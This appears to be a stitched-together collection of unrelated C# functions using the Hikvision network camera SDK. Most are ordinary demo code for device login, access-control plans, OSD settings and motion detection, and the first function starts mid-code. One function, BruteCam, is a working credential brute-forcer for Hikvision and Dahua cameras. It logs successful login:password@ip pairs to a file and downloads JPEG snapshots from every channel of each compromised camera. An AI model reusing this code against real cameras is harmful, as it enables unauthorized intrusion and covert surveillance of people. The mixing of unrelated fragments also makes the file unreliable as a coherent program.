m_struPlanCond.wLocalControllerID); if (!CHCNetSDK.NET_DVR_SetDeviceConfig(m_lUserID, dwCommand, 1, ptrPlanCon, dwConSize, ptrDwReturned, ptrPlanCfg, dwSize)) { Marshal.FreeHGlobal(ptrPlanCfg); Marshal.FreeHGlobal(ptrPlanCon); Marshal.FreeHGlobal(ptrDwReturned); strTemp = string.Format("{0} FAIL, ERROR CODE {1}", strCommand[comboBoxDeviceTypeWP.SelectedIndex], CHCNetSDK.NET_DVR_GetLastError()); MessageBox.Show(strTemp); return; } else { dwReturned = (uint)Marshal.ReadInt32(ptrDwReturned); Marshal.FreeHGlobal(ptrDwReturned); Marshal.FreeHGlobal(ptrPlanCon); strTemp = string.Format("{0}", strCommand[comboBoxDeviceTypeWP.SelectedIndex]); g_formList.AddLog(m_lUserID, AcsDemoPublic.OPERATION_SUCC_T, strTemp); } break; default: Marshal.FreeHGlobal(ptrPlanCfg); MessageBox.Show("unknow command"); return; } Marshal.FreeHGlobal(ptrPlanCfg); }
public bool Login(bool bStatus)//true said add node login, false for the existing node to log in { LoginCallBackFlag = false; m_struDeviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V30(); CHCNetSDK.NET_DVR_DEVICEINFO_V30 struDeviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V30(); struDeviceInfo.sSerialNumber = new byte[CHCNetSDK.SERIALNO_LEN]; CHCNetSDK.NET_DVR_NETCFG_V50 struNetCfg = new CHCNetSDK.NET_DVR_NETCFG_V50(); struNetCfg.Init(); CHCNetSDK.NET_DVR_DEVICECFG_V40 struDevCfg = new CHCNetSDK.NET_DVR_DEVICECFG_V40(); struDevCfg.sDVRName = new byte[CHCNetSDK.NAME_LEN]; struDevCfg.sSerialNumber = new byte[CHCNetSDK.SERIALNO_LEN]; struDevCfg.byDevTypeName = new byte[CHCNetSDK.DEV_TYPE_NAME_LEN]; CHCNetSDK.NET_DVR_USER_LOGIN_INFO struLoginInfo = new CHCNetSDK.NET_DVR_USER_LOGIN_INFO(); CHCNetSDK.NET_DVR_DEVICEINFO_V40 struDeviceInfoV40 = new CHCNetSDK.NET_DVR_DEVICEINFO_V40(); struDeviceInfoV40.struDeviceV30.sSerialNumber = new byte[CHCNetSDK.SERIALNO_LEN]; uint dwReturned = 0; int lUserID = -1; struLoginInfo.bUseAsynLogin = AysnLoginFlag; struLoginInfo.cbLoginResult = new CHCNetSDK.LoginResultCallBack(AsynLoginMsgCallback); if (bStatus) { struLoginInfo.sDeviceAddress = textBoxDeviceAddress.Text; struLoginInfo.sUserName = textBoxUserName.Text; struLoginInfo.sPassword = textBoxPassword.Text; ushort.TryParse(textBoxPort.Text, out struLoginInfo.wPort); } else { struLoginInfo.sDeviceAddress = g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chDeviceIP; struLoginInfo.sUserName = g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chLoginUserName; struLoginInfo.sPassword = g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chLoginPwd; struLoginInfo.wPort = (ushort)g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].lDevicePort; } lUserID = CHCNetSDK.NET_DVR_Login_V40(ref struLoginInfo, ref struDeviceInfoV40); if (struLoginInfo.bUseAsynLogin) { for (int i = 0; i < 1000; i++) { if (!LoginCallBackFlag) { Thread.Sleep(5); } else { break; } } if (!LoginCallBackFlag) { MessageBox.Show(Properties.Resources.asynloginTips, Properties.Resources.messageBoxTitle, MessageBoxButtons.OK, MessageBoxIcon.Information); } if (m_AysnLoginResult == 1) { lUserID = m_iUserID; struDeviceInfoV40.struDeviceV30 = m_struDeviceInfo; } else { MessageBox.Show(Properties.Resources.asynloginFailedTips, Properties.Resources.messageBoxTitle, MessageBoxButtons.OK, MessageBoxIcon.Information); return(false); } } if (lUserID < 0) { uint nErr = CHCNetSDK.NET_DVR_GetLastError(); string strTemp = string.Format("NET_DVR_Login_V40 [{0}]", textBoxDeviceAddress.Text); g_formList.AddLog(-1, AcsDemoPublic.OPERATION_FAIL_T, strTemp); if (nErr == CHCNetSDK.NET_DVR_PASSWORD_ERROR) { MessageBox.Show("user name or password error!"); if (1 == struDeviceInfoV40.bySupportLock) { string strTemp1 = string.Format("Left {0} try opportunity", struDeviceInfoV40.byRetryLoginTime); MessageBox.Show(strTemp1); } } else if (nErr == CHCNetSDK.NET_DVR_USER_LOCKED) { if (1 == struDeviceInfoV40.bySupportLock) { string strTemp1 = string.Format("user is locked, the remaining lock time is {0}", struDeviceInfoV40.dwSurplusLockTime); MessageBox.Show(strTemp1); } } else { MessageBox.Show("net error or dvr is busy!"); } return(false); } else { if (1 == struDeviceInfoV40.byPasswordLevel) { MessageBox.Show("default password, please change the password"); } else if (3 == struDeviceInfoV40.byPasswordLevel) { MessageBox.Show("risk password, please change the password"); } struDeviceInfo = struDeviceInfoV40.struDeviceV30; } if (bStatus) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chLocalNodeName = textBoxLocalNode.Text; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chLoginPwd = textBoxPassword.Text; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chDeviceIP = textBoxDeviceAddress.Text; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chLoginUserName = textBoxUserName.Text; int.TryParse(textBoxPort.Text, out g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].lDevicePort); } g_formList.AddLog(m_iDeviceIndex, AcsDemoPublic.OPERATION_SUCC_T, "NET_DVR_Login_V40"); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byCharaterEncodeType = struDeviceInfoV40.byCharEncodeType; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].lLoginID = lUserID; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chSerialNumber = System.Text.Encoding.UTF8.GetString(struDeviceInfo.sSerialNumber).TrimEnd('\0'); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceIndex = m_iDeviceIndex; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceType = (int)struDeviceInfo.wDevType; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceChanNum = (int)(struDeviceInfo.byChanNum + struDeviceInfo.byIPChanNum + struDeviceInfo.byHighDChanNum * 256); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iStartChan = (int)struDeviceInfo.byStartChan; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDiskNum = (int)struDeviceInfo.byDiskNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iAlarmInNum = (int)struDeviceInfo.byAlarmInPortNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iAlarmOutNum = (int)struDeviceInfo.byAlarmOutPortNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iAudioNum = (int)struDeviceInfo.byAlarmOutPortNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iAnalogChanNum = (int)struDeviceInfo.byChanNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum = (int)(struDeviceInfo.byIPChanNum + struDeviceInfo.byHighDChanNum * 256); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byZeroChanNum = struDeviceInfo.byZeroChanNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byStartDTalkChan = struDeviceInfo.byStartDTalkChan; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byLanguageType = struDeviceInfo.byLanguageType; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byMirrorChanNum = struDeviceInfo.byMirrorChanNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].wStartMirrorChanNo = struDeviceInfo.wStartMirrorChanNo; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byAudioInputChanNum = struDeviceInfo.byVoiceInChanNum; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byStartAudioInputChanNo = struDeviceInfo.byStartVoiceInChanNo; if (1 == (struDeviceInfo.bySupport & 0x80)) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byMainProto = (byte)(struDeviceInfo.byMainProto + 2); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].bySubProto = (byte)(struDeviceInfo.bySubProto + 2); } else { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byMainProto = struDeviceInfo.byMainProto; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].bySubProto = struDeviceInfo.bySubProto; } g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].bySupport1 = struDeviceInfo.bySupport1; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].bySupport2 = struDeviceInfo.bySupport2; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].bySupport7 = struDeviceInfo.bySupport7; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byLanguageType = struDeviceInfo.byLanguageType; uint dwSize = (uint)Marshal.SizeOf(struNetCfg); IntPtr ptrNetCfg = Marshal.AllocHGlobal((int)dwSize); Marshal.StructureToPtr(struNetCfg, ptrNetCfg, false); if (!CHCNetSDK.NET_DVR_GetDVRConfig(lUserID, CHCNetSDK.NET_DVR_GET_NETCFG_V50, 0, ptrNetCfg, dwSize, ref dwReturned)) { g_formList.AddLog(m_iDeviceIndex, AcsDemoPublic.OPERATION_FAIL_T, "NET_DVR_GET_NETCFG_V50"); } else { //IPv6 temporary unrealized struNetCfg = (CHCNetSDK.NET_DVR_NETCFG_V50)Marshal.PtrToStructure(ptrNetCfg, typeof(CHCNetSDK.NET_DVR_NETCFG_V50)); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chDeviceMultiIP = struNetCfg.struMulticastIpAddr.sIpV4; string strTemp = string.Format("multi-cast ipv4 {0}", struNetCfg.struMulticastIpAddr.sIpV4); g_formList.AddLog(m_iDeviceIndex, AcsDemoPublic.OPERATION_SUCC_T, strTemp); } Marshal.FreeHGlobal(ptrNetCfg); dwReturned = 0; uint dwSize2 = (uint)Marshal.SizeOf(struDevCfg); IntPtr ptrDevCfg = Marshal.AllocHGlobal((int)dwSize2); Marshal.StructureToPtr(struDevCfg, ptrDevCfg, false); if (!CHCNetSDK.NET_DVR_GetDVRConfig(lUserID, CHCNetSDK.NET_DVR_GET_DEVICECFG_V40, 0, ptrDevCfg, dwSize2, ref dwReturned)) { g_formList.AddLog(lUserID, AcsDemoPublic.OPERATION_FAIL_T, "NET_DVR_GET_DEVICECFG_V40"); } else { struDevCfg = (CHCNetSDK.NET_DVR_DEVICECFG_V40)Marshal.PtrToStructure(ptrDevCfg, typeof(CHCNetSDK.NET_DVR_DEVICECFG_V40)); if (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceType != (int)struDevCfg.wDevType) { // string strTemp = null; string strShow = null; // g_formList.g_StringLanType(ref strTemp, "登陆返回设备类型值与获取设备参数返回设备类型值不同", "returned device type is different between login and get device config"); strShow = "returned device type is different between login and get device config" + g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceType.ToString() + " " + struDevCfg.wDevType.ToString(); MessageBox.Show(strShow); } g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].chDeviceName = System.Text.Encoding.UTF8.GetString(struDevCfg.byDevTypeName).Trim('\0'); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].dwDevSoftVer = struDevCfg.dwSoftwareVersion; } Marshal.FreeHGlobal(ptrDevCfg); if (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum >= 0) { if (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum == 0) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruIPParaCfgV40 = new CHCNetSDK.NET_DVR_IPPARACFG_V40[1]; } else { if (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum % CHCNetSDK.MAX_CHANNUM_V30 == 0) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruIPParaCfgV40 = new CHCNetSDK.NET_DVR_IPPARACFG_V40[g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum / CHCNetSDK.MAX_CHANNUM_V30]; } else { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruIPParaCfgV40 = new CHCNetSDK.NET_DVR_IPPARACFG_V40[g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iIPChanNum / CHCNetSDK.MAX_CHANNUM_V30 + 1]; } } } //if (DoGetDeviceResoureCfg(m_iDeviceIndex)) //{ //} return(true); }
public static bool BruteCam(string ip, int port, string login, string password) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Trying " + login + ":" + password + " for " + ip + ":" + port); Console.ResetColor(); if (!DahuaMode) { CHCNetSDK.NET_DVR_DEVICEINFO_V30 deviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V30(); int uid = CHCNetSDK.NET_DVR_Login_V30(ip, port, login, password, ref deviceInfo); if (uid != -1) { var sn = Encoding.UTF8.GetString(deviceInfo.sSerialNumber).Replace("\0", ""); string features = ""; bool audio = IsAudio(sn); bool ptz = IsPtz(sn); if (audio) { features = "Audio"; } if (ptz) { features = "PTZ"; } if (!audio && !ptz) { features = "not found"; } Console.ForegroundColor = ConsoleColor.Green; var channels = deviceInfo.byChanNum; Console.WriteLine("Logged in: " + login + ":" + password + "@" + ip + ":" + port + ", channels: " + channels + ", features: " + features + ", SerialNumber: " + sn); Console.ResetColor(); if (!FastMode) { if (!audio && !ptz) { AppendAllText(OutputFile, "Normal camera: " + login + ":" + password + "@" + ip + ":" + port + "; channels: " + channels + "; SerialNumber:" + sn + "\n"); } if (audio) { AppendAllText(OutputFile, "Audio camera: " + login + ":" + password + "@" + ip + ":" + port + "; channels: " + channels + "; SerialNumber:" + sn + "\n"); } if (ptz) { AppendAllText(OutputFile, "PTZ camera: " + login + ":" + password + "@" + ip + ":" + port + "; channels: " + channels + "; SerialNumber: " + sn + "\n"); } for (int channel = deviceInfo.byStartChan; channel < deviceInfo.byChanNum + deviceInfo.byStartChan; channel++) { string filename = PicturesDir + "/" + login + "_" + password + "_" + ip + "_" + port + "_" + channel + ".jpg"; CHCNetSDK.NET_DVR_JPEGPARA netDvrJpegpara = new CHCNetSDK.NET_DVR_JPEGPARA { wPicQuality = 0, wPicSize = 2 }; if (CHCNetSDK.NET_DVR_CaptureJPEGPicture(uid, channel, ref netDvrJpegpara, filename)) { Image image = Image.FromFile(filename); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("Downloaded picture (channel " + channel + ", size " + image.Width + "x" + image.Height + ") from the camera " + ip + ":" + port); Console.ResetColor(); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Could not download picture from " + ip + ":" + port + " (channel " + channel + ")"); Console.ResetColor(); } } } CHCNetSDK.NET_DVR_Logout_V30(uid); return(true); } } else { Dahua.CLIENT_Init(ip); if (Dahua.CLIENT_Login(ip, port, login, password) != 0) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Logged in: " + login + ":" + password + "@" + ip + ":" + port); Console.ResetColor(); AppendAllText(OutputFile, "Dahua camera: " + login + ":" + password + "@" + ip + ":" + port + "\n"); return(true); } } return(false); }
private void Close() { CHCNetSDK.CLIENT_SDK_StopStream(m_lRealHandle); }
private void ProcessInfoSynCallback(uint dwType, IntPtr lpBuffer, uint dwBufLen, IntPtr pUserData) { if (pUserData == null) { return; } if (dwType == (uint)CHCNetSDK.NET_SDK_CALLBACK_TYPE.NET_SDK_CALLBACK_TYPE_STATUS) { uint dwStatus = (uint)Marshal.ReadInt32(lpBuffer); if (dwStatus == (uint)CHCNetSDK.NET_SDK_CALLBACK_STATUS_NORMAL.NET_SDK_CALLBACK_STATUS_FAILED) { CHCNetSDK.PostMessage(pUserData, 1001, 1, 0); //可以结束了,异常结束 } else if (dwStatus == (uint)CHCNetSDK.NET_SDK_CALLBACK_STATUS_NORMAL.NET_SDK_CALLBACK_STATUS_EXCEPTION) { CHCNetSDK.PostMessage(pUserData, 1001, 2, 0); //可以结束了,异常结束 } else if (dwStatus == (uint)CHCNetSDK.NET_SDK_CALLBACK_STATUS_NORMAL.NET_SDK_CALLBACK_STATUS_PROCESSING) { ; } else { CHCNetSDK.PostMessage(pUserData, 1001, 3, 0); //可以结束了,异常结束 } } else if (dwType == (uint)CHCNetSDK.NET_SDK_CALLBACK_TYPE.NET_SDK_CALLBACK_TYPE_DATA) { //输出上一包解析信息, 1003 string strResponseStatus = Marshal.PtrToStringAnsi(lpBuffer); IntPtr response = IntPtr.Zero; if (m_bFirst) { m_bFirst = false; CResponseStatus JsonResponseStatus = new CResponseStatus(); JsonResponseStatus = JsonConvert.DeserializeObject <CResponseStatus>(strResponseStatus); response = Marshal.StringToHGlobalAnsi(strResponseStatus); } else { if (m_command == SynInfoCommand.USER_INFO_SYN) { CUserInfoSyn JsonResponseStatus = new CUserInfoSyn(); JsonResponseStatus = JsonConvert.DeserializeObject <CUserInfoSyn>(strResponseStatus); m_iCurProgress = JsonResponseStatus.UserInfoSync.progressValue; response = Marshal.StringToHGlobalAnsi(strResponseStatus); } else { CCardInfoSyn JsonResponseStatus = new CCardInfoSyn(); JsonResponseStatus = JsonConvert.DeserializeObject <CCardInfoSyn>(strResponseStatus); m_iCurProgress = JsonResponseStatus.CardInfoSync.progressValue; response = Marshal.StringToHGlobalAnsi(strResponseStatus); } } CHCNetSDK.PostMessage(pUserData, 1003, (int)response, 0); if (m_iCurProgress >= 100) { CHCNetSDK.PostMessage(pUserData, 1001, 4, 0); //可以结束了,正常(异常)结束 return; } CHCNetSDK.PostMessage(pUserData, 1002, 0, 0); //在主线程中发送下一个用户 } return; }
private void buttonGetEncode_Click(object sender, EventArgs e) { UInt32 dwReturn = 0; Int32 nSize = Marshal.SizeOf(m_struPicCfgV40); IntPtr ptrPicCfg = Marshal.AllocHGlobal(nSize); Marshal.StructureToPtr(m_struPicCfgV40, ptrPicCfg, false); if (!CHCNetSDK.NET_DVR_GetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_GET_PICCFG_V40, m_lChannel, ptrPicCfg, (UInt32)nSize, ref dwReturn)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_GET_PICCFG_V40 failed, error code= " + iLastErr; //获取图像参数失败,输出错误号 Failed to get image parameters and output the error code MessageBox.Show(strErr); } else { m_struPicCfgV40 = (CHCNetSDK.NET_DVR_PICCFG_V40)Marshal.PtrToStructure(ptrPicCfg, typeof(CHCNetSDK.NET_DVR_PICCFG_V40)); if (m_struPicCfgV40.dwShowChanName == 1) { checkBoxChanName.Checked = true; } else { checkBoxChanName.Checked = false; } textBoxChanName.Text = System.Text.Encoding.GetEncoding("GBK").GetString(m_struPicCfgV40.sChanName); textBoxXName.Text = Convert.ToString(m_struPicCfgV40.wShowNameTopLeftX); textBoxYName.Text = Convert.ToString(m_struPicCfgV40.wShowNameTopLeftY); if (m_struPicCfgV40.dwShowOsd == 1) { checkBoxOSD.Checked = true; } else { checkBoxOSD.Checked = false; } if (m_struPicCfgV40.byDispWeek == 1) { checkBoxWeek.Checked = true; } else { checkBoxWeek.Checked = false; } comboBoxTime.SelectedIndex = m_struPicCfgV40.byHourOSDType; comboBoxDate.SelectedIndex = m_struPicCfgV40.byOSDType; if (m_struPicCfgV40.byFontSize == 0xff) { comboBoxSize.SelectedIndex = 4; } else { comboBoxSize.SelectedIndex = m_struPicCfgV40.byFontSize; } comboBoxDisplay.SelectedIndex = m_struPicCfgV40.byOSDAttrib - 1; textBoxXOSD.Text = Convert.ToString(m_struPicCfgV40.wOSDTopLeftX); textBoxYOSD.Text = Convert.ToString(m_struPicCfgV40.wOSDTopLeftY); } Marshal.FreeHGlobal(ptrPicCfg); }
private void MotionDetect_Load(object sender, EventArgs e) { string str = ""; byte byCount; for (byCount = 1; byCount <= m_struDeviceInfo.byChanNum; byCount++) { str = String.Format("Camera {0}", byCount); treeViewRecordChan.Nodes.Add(str); } for (byCount = 1; byCount <= m_struDeviceInfo.byIPChanNum; byCount++) { str = String.Format("IPCamera {0}", byCount); treeViewRecordChan.Nodes.Add(str); } for (byCount = 1; byCount <= m_struDeviceInfo.byAlarmOutPortNum; byCount++) { str = String.Format("Alarm Out {0}", byCount); treeViewAlarmOut.Nodes.Add(str); } CHCNetSDK.NET_DVR_CLIENTINFO struClientInfo; struClientInfo.lChannel = 1; // channel can be change struClientInfo.lLinkMode = 0; struClientInfo.hPlayWnd = MotionRealPlay.Handle; struClientInfo.sMultiCastIP = ""; m_lMotionPlayHandle = CHCNetSDK.NET_DVR_RealPlay_V30(m_lUserID, ref struClientInfo, null, IntPtr.Zero, 1); if (m_lMotionPlayHandle < 0) { Debug.Print("NET_DVR_RealPlay_V30 faile"); } else { m_fMotionDraw = new CHCNetSDK.DRAWFUN(MotionDrawCallBack); CHCNetSDK.NET_DVR_RigisterDrawFun(m_lMotionPlayHandle, m_fMotionDraw, 0); } uint dwSize = (uint)Marshal.SizeOf(m_struPicCfgV30); IntPtr ptrPicCfgV30 = Marshal.AllocHGlobal((Int32)dwSize); Marshal.StructureToPtr(m_struPicCfgV30, ptrPicCfgV30, false); uint dwReturn = 0; if (!CHCNetSDK.NET_DVR_GetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_GET_PICCFG_V30, m_lChannel, ptrPicCfgV30, dwSize, ref dwReturn)) { // fail // Preview.DebugInfo("NET_DVR_GET_PICCFG_V30 Succ"); Debug.Print("NET_DVR_GET_PICCFG_V30 fail"); MessageBox.Show("NET_DVR_GET_PICCFG_V30 Fail"); } else { // succ Debug.Print("NET_DVR_GET_PICCFG_V30 Succ"); m_struPicCfgV30 = (CHCNetSDK.NET_DVR_PICCFG_V30)Marshal.PtrToStructure(ptrPicCfgV30, typeof(CHCNetSDK.NET_DVR_PICCFG_V30)); m_struMotionV30 = m_struPicCfgV30.struMotion; } Marshal.FreeHGlobal(ptrPicCfgV30); SetMotionSensitivityCurSel(m_struMotionV30.byMotionSensitive); SetAlarmHandleWnd(); comboBoxWeekday.SelectedIndex = 0; comboBoxWeekdayCopy.SelectedIndex = 0; SetAlarmTimeWnd(); SetRecordChanWnd(); if (m_struMotionV30.byEnableHandleMotion == 0) { checkBoxEnableMotion.Checked = false; } else { checkBoxEnableMotion.Checked = true; } }